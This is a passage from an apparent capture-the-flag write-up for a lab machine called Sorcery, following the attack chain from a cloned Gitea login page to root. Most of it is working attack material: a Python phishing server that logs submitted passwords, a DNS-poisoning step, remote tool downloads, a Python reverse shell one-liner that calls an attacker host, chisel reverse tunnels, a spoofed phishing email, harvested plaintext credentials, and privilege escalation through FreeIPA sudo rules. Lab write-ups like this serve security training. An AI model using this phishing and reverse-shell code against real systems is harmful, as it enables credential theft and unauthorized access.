<div class="ui checkbox">
<label>Remember This Device</label>
<input name="remember" type="checkbox" />
</div>
</div>
<div class="field">
<button class="ui primary button" type="submit">Sign In</button>
<a href="/user/forgot_password">Forgot password?</a>
</div>
</form>
</div>
</div>
</div>
</div>
<footer class="page-footer" role="contentinfo">
<a target="_blank" rel="noopener" href="https://about.gitea.com">Powered by Gitea</a>
<span>Version: 1.22.1</span>
</footer>
<script src="/assets/js/index.js?v=1.22.1"></script>
</body>
</html>- phish_server.py on local machine
phish_server.py
from http.server import HTTPServer, BaseHTTPRequestHandler
import ssl, urllib.parse, os
LOGFILE = "/home/user/creds.log"
class Handler(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(200)
self.send_header("Content-type", "text/html")
self.end_headers()
with open("index.html", "rb") as f:
self.wfile.write(f.read())
def do_POST(self):
# read and parse creds
length = int(self.headers.get("Content-Length", 0))
body = self.rfile.read(length).decode()
params = urllib.parse.parse_qs(body)
# append to disk
os.makedirs(os.path.dirname(LOGFILE), exist_ok=True)
with open(LOGFILE, "a") as out:
out.write(f"{params}\n")
# reply
self.send_response(200)
self.end_headers()
self.wfile.write(b"Login failed")
if __name__ == "__main__":
# SSL setup
context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
context.load_cert_chain(
certfile="phish.sorcery.htb.crt",
keyfile ="phish.sorcery.htb.key"
)
# launch server
httpd = HTTPServer(("0.0.0.0", 443), Handler)
httpd.socket = context.wrap_socket(httpd.socket, server_side=True)
httpd.serve_forever()- We need to resolve our phishing site in the dns-hosts file, and reboot dnsmasq
- This is the IP of docker container 7bfb70ee5b9c
user@7bfb70ee5b9c:/home/user$ echo "172.19.0.4 phish.sorcery.htb" | tee /dns/hosts-user && kill -HUP $(pidof dnsmasq) && dig +short @127.0.0.1 phish.sorcery.htb
172.19.0.4- We need to transfer chisel, index.html, and phish_server.py to docker instance (update IP)
# local
$ python3 -m http.server 7070
# docker
user@7bfb70ee5b9c:/home/user$ python3 -c 'import urllib.request; [urllib.request.urlretrieve(f"http://<IP>:7070/{fn}", fn) for fn in ["phish_server.py","index.html","chisel"]]'- I recommend spawning a couple shells just in case they hang or crash, and so we can run chisel and phish server but still interact
- ps aux and then kill pid will fix usually
user@7bfb70ee5b9c:/home/user$ python3 -c 'import pty,socket,os; s=socket.socket(); s.connect(("<IP>",<PORT>)); [os.dup2(s.fileno(),fd) for fd in (0,1,2)]; pty.spawn("/bin/bash")' &- Setup chisel connection
- IP of services-mail-1.services_default
# local
$ sudo ./chisel server --port 4444 --reverse
# docker
$ chmod +x chisel
$ ./chisel client 10.10.14.228:4444 R:1025:172.19.0.8:1025 R:8443:127.0.0.1:443- Swaks to send email
$ swaks \
--to tom_summers@sorcery.htb \
--from nicole_sullivan@sorcery.htb \
--server 127.0.0.1 \
--port 1025 \
--data $'Stupid Test\nPlease re-confirm your stupidity here:\n\nhttps://phish.sorcery.htb\n'
=== Trying 127.0.0.1:1025...
=== Connected to 127.0.0.1.
<- 220 mailhog.example ESMTP MailHog
-> EHLO kali
<- 250-Hello kali
<- 250-PIPELINING
<- 250 AUTH PLAIN
-> MAIL FROM:<nicole_sullivan@sorcery.htb>
<- 250 Sender nicole_sullivan@sorcery.htb ok
-> RCPT TO:<tom_summers@sorcery.htb>
<- 250 Recipient tom_summers@sorcery.htb ok
-> DATA
<- 354 End data with <CR><LF>.<CR><LF>
-> Stupid Test
-> Please re-confirm your stupidity here:
->
-> https://phish.sorcery.htb
->
-> .
<- 250 Ok: queued as 8XiDh5hwM_hDAKcu76D1We2TrDQb2LI6CCxeGHSPlN8=@mailhog.example
-> QUIT
<- 221 Bye
=== Connection closed with remote host.- Our server gets hits and creates log in /home/user
python3 phish_server.py
172.19.0.8 - - [17/Jun/2025 19:31:01] "GET / HTTP/1.1" 200 -
172.19.0.8 - - [17/Jun/2025 19:31:01] "GET /assets/css/index.css?v=1.22.1 HTTP/1.1" 200 -
172.19.0.8 - - [17/Jun/2025 19:31:01] "GET /assets/css/theme-gitea-auto.css?v=1.22.1 HTTP/1.1" 200 -
172.19.0.8 - - [17/Jun/2025 19:31:01] "GET /assets/js/index.js?v=1.22.1 HTTP/1.1" 200 -
172.19.0.8 - - [17/Jun/2025 19:31:01] "GET /assets/img/logo.svg HTTP/1.1" 200 -
172.19.0.8 - - [17/Jun/2025 19:31:01] "GET /assets/img/favicon.png HTTP/1.1" 200 -
172.19.0.8 - - [17/Jun/2025 19:31:01] "GET /assets/img/favicon.svg HTTP/1.1" 200 -
172.19.0.8 - - [17/Jun/2025 19:31:11] "POST /user/login HTTP/1.1" 200 -
user@7bfb70ee5b9c:/home/user$ cat creds.log
{'_csrf': ['tVUz5vqZRLUZ2HBKze4YNyQYaqU6MTc1MDA1NzMyMDU1OTc0MTYyMw'], 'user_name': ['tom_summers'], 'password': ['jNsMKQ6k2.XDMPu.']}User Creds
tom_summers
jNsMKQ6k2.XDMPu.
- SSH as tom
$ ssh tom_summers@sorcery.htb
tom_summers@main.sorcery.htb ~ ls
user.txtRoot
- No sudo
- Enum filesystem - XORG stands out
tom_summers@main.sorcery.htb ~ ls /
bin bin.usr-is-merged boot cdrom dev etc home lib lib.usr-is-merged lib64 lost+found media mnt opt proc provision root run sbin sbin.usr-is-merged snap srv sys tmp usr var xorg
tom_summers@main.sorcery.htb ~ ls -la /xorg
total 12
drwxr-xr-x 3 root root 4096 Apr 28 12:07 .
drwxr-xr-x 25 root root 4096 Apr 28 12:11 ..
drwxr-xr-x 2 tom_summers_admin tom_summers_admin 4096 Jun 17 17:44 xvfb
tom_summers@main.sorcery.htb ~ ls -la /xorg/xvfb/
total 524
drwxr-xr-x 2 tom_summers_admin tom_summers_admin 4096 Jun 17 17:44 .
drwxr-xr-x 3 root root 4096 Apr 28 12:07 ..
-rwxr--r-- 1 tom_summers_admin tom_summers_admin 527520 Jun 17 17:44 Xvfb_screen0
tom_summers@main.sorcery.htb ~ file /xorg/xvfb/Xvfb_screen0
/xorg/xvfb/Xvfb_screen0: X-Window screen dump image data, version X11, "Xvfb main.sorcery.htb:1.0", 512x256x24, 256 colors 256 entries- Seems we have a screenshot, so we transfer and convert to png for viewing
$ scp tom_summers@sorcery.htb:/xorg/xvfb/Xvfb_screen0 .
(tom_summers@sorcery.htb) Password: jNsMKQ6k2.XDMPu.
Xvfb_screen0 100% 515KB 1.1MB/s 00:00
$ xwdtopnm Xvfb_screen0 | pnmtopng > screen.png
xwdtopnm: writing PPM file- screen.png

Creds
tom_summers_admin
dWpuk7cesBjT-
- SSH as this user
tom_summers_admin@main.sorcery.htb ~ sudo -l
Matching Defaults entries for tom_summers_admin on localhost:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User tom_summers_admin may run the following commands on localhost:
(rebecca_smith) NOPASSWD: /usr/bin/docker login
(rebecca_smith) NOPASSWD: /usr/bin/strace -s 128 -p [0-9]*- Open another SSH instance to run both commands
# Instance 1
tom_summers_admin@main.sorcery.htb ~ sudo -u rebecca_smith docker login
This account might be protected by two-factor authentication
In case login fails, try logging in with <password><otp>
Authenticating with existing credentials... [Username: rebecca_smith]
i Info → To login with a different account, run 'docker logout' followed by 'docker login'
Login did not succeed, error: permission denied while trying to connect to the Docker daemon socket at unix:///var/run/docker.sock: Post "http://%2Fvar%2Frun%2Fdocker.sock/v1.50/auth": dial unix /var/run/docker.sock: connect: permission denied
*snip*
# Instance 2
tom_summers_admin@main.sorcery.htb ~ ps -u rebecca_smith
PID TTY TIME CMD
278441 pts/2 00:00:00 docker
tom_summers_admin@main.sorcery.htb ~ sudo -u rebecca_smith strace -s 128 -p 278441 bash
[{WIFEXITED(s) && WEXITSTATUS(s) == 0}], WSTOPPED|WCONTINUED, NULL) = 270778
rt_sigprocmask(SIG_BLOCK, [CHLD TSTP TTIN TTOU], [CHLD], 8) = 0
ioctl(255, TIOCSPGRP, [269751]) = 0
rt_sigprocmask(SIG_SETMASK, [CHLD], NULL, 8) = 0
ioctl(255, TCGETS, {c_iflag=ICRNL|IMAXBEL, c_oflag=NL0|CR0|TAB0|BS0|VT0|FF0|OPOST|ONLCR, c_cflag=B38400|CS8|CREAD, c_lflag=ISIG|ICANON|ECHO|ECHOE|ECHOK|IEXTEN|ECHOCTL|ECHOKE, ...}) = 0
ioctl(255, TIOCGWINSZ, {ws_row=57, ws_col=124, ws_xpixel=1279, ws_ypixel=1094}) = 0
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
--- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=270778, si_uid=2003, si_status=0, si_utime=0, si_stime=0} ---
wait4(-1, 0x7ffd3f0bf610, WNOHANG|WSTOPPED|WCONTINUED, NULL) = -1 ECHILD (No child processes)
*snip*- Now this has opened a weird shell with extremely verbose logging and is unreadable
- Open a listener and connect with a revshell cmd (paste is easier)
python3 -c 'import pty,socket,os; s=socket.socket(); s.connect(("<IP>",<PORT>)); [os.dup2(s.fileno(),fd) for fd in (0,1,2)]; pty.spawn("/bin/bash")' &- Catch with listener and investigate automated processes
- I refined the search after running pspy into this grep loop (can take a few mins for this to pop up)
rebecca_smith@main:/home/tom_summers_admin$ while true; do ps -eo user,pid,cmd --sort=start_time | grep --color=always 'userPassword='; sleep 1; done
*snip*
rebecca+ 319411 grep --color=always userPassword=
admin 331042 /usr/bin/python3 -I /usr/bin/ipa user-mod ash_winter --setattr userPassword=w@LoiU8Crmdep
rebecca+ 331084 grep --color=always userPassword=
rebecca+ 298796 grep --color=always userPassword=
rebecca+ 319411 grep --color=always userPassword=
admin 331042 /usr/bin/python3 -I /usr/bin/ipa user-mod ash_winter --setattr userPassword=w@LoiU8Crmdep- FreeIPA is resetting ash_winter password
Creds
ash_winter
w@LoiU8Crmdep
- SSH as Ash will prompt for password reset
ssh ash_winter@sorcery.htb
(ash_winter@sorcery.htb) Password: w@LoiU8Crmdep
Password expired. Change your password now.
(ash_winter@sorcery.htb) Current Password: w@LoiU8Crmdep
(ash_winter@sorcery.htb) New password:
(ash_winter@sorcery.htb) Retype new password:
Welcome to Ubuntu 24.04.2 LTS (GNU/Linux 6.8.0-60-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro
This system has been minimized by removing packages and content that are
not required on a system that users do not log into.
To restore this content, you can run the 'unminimize' command.
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
sh: 32: /etc/profile: [[: not found
sh: 32: /etc/profile: Tue Jun 17 21:12:44 2025: not found
Last login: Tue Jun 17 21:12:44 2025 from 10.10.14.228
$ sudo -l
Matching Defaults entries for ash_winter on localhost:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
use_pty
User ash_winter may run the following commands on localhost:
(root) NOPASSWD: /usr/bin/systemctl restart sssd
- Ash was getting password reset by FreeIPA
- Enum the sudo rules
$ ipa sudorule-find
-------------------
1 Sudo Rule matched
-------------------
Rule name: allow_sudo
Enabled: True
Host category: all
Command category: all
RunAs User category: all
RunAs Group category: all
----------------------------
Number of entries returned 1
----------------------------- Check ash details
$ ipa user-show ash_winter --all
dn: uid=ash_winter,cn=users,cn=accounts,dc=sorcery,dc=htb
User login: ash_winter
First name: ash
Last name: winter
Full name: ash winter
Display name: ash winter
Initials: aw
Home directory: /home/ash_winter
GECOS: ash winter
Login shell: /bin/sh
Principal name: ash_winter@SORCERY.HTB
Principal alias: ash_winter@SORCERY.HTB
User password expiration: 20250617220807Z
Email address: ash_winter@sorcery.htb
UID: 1638400004
GID: 1638400004
Account disabled: False
Preserved user: False
Password: True
Member of groups: ipausers
Member of HBAC rule: allow_ssh, allow_sudo
Indirect Member of role: add_sysadmin
Kerberos keys available: True
ipantsecurityidentifier: S-1-5-21-820725746-4072777037-1046661441-1004
ipauniqueid: c862fa48-96eb-11ef-9f47-0242ac170002
krblastpwdchange: 20250617220807Z
objectclass: top, person, organizationalperson, inetorgperson, inetuser, posixaccount, krbprincipalaux,
krbticketpolicyaux, ipaobject, ipasshuser, ipaSshGroupOfPubKeys, mepOriginEntry, ipantuserattrs- Indirect Member of role: add_sysadmin
- Lets add Ash to sysadmins and enable sudo
sudo /usr/bin/systemctl restart sssdprivs to restart System Security Services Daemon- use sudo su to become root
- Commands will hang do not exit until complete
$ ipa group-add-member sysadmins --users=ash_winter
Group name: sysadmins
GID: 1638400005
Member users: ash_winter
Indirect Member of role: manage_sudorules_ldap
-------------------------
Number of members added 1
-------------------------
$ ipa sudorule-add-user allow_sudo --users=ash_winter
Rule name: allow_sudo
Enabled: True
Host category: all
Command category: all
RunAs User category: all
RunAs Group category: all
Users: admin, ash_winter
-------------------------
Number of members added 1
-------------------------
$ sudo /usr/bin/systemctl restart sssd
[sudo] password for ash_winter:
Password expired. Change your password now.
sudo: Account or password is expired, reset your password and try again
Current Password:
New password:
Retype new password:
$ sudo -l
Matching Defaults entries for ash_winter on localhost:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
use_pty
User ash_winter may run the following commands on localhost:
(root) NOPASSWD: /usr/bin/systemctl restart sssd
(ALL : ALL) ALLSUCCESS
- Now
sudo su -to privesc to root
$ sudo su -
root@main:~# id
uid=0(root) gid=0(root) groups=0(root)
root@main:~# ls
root.txt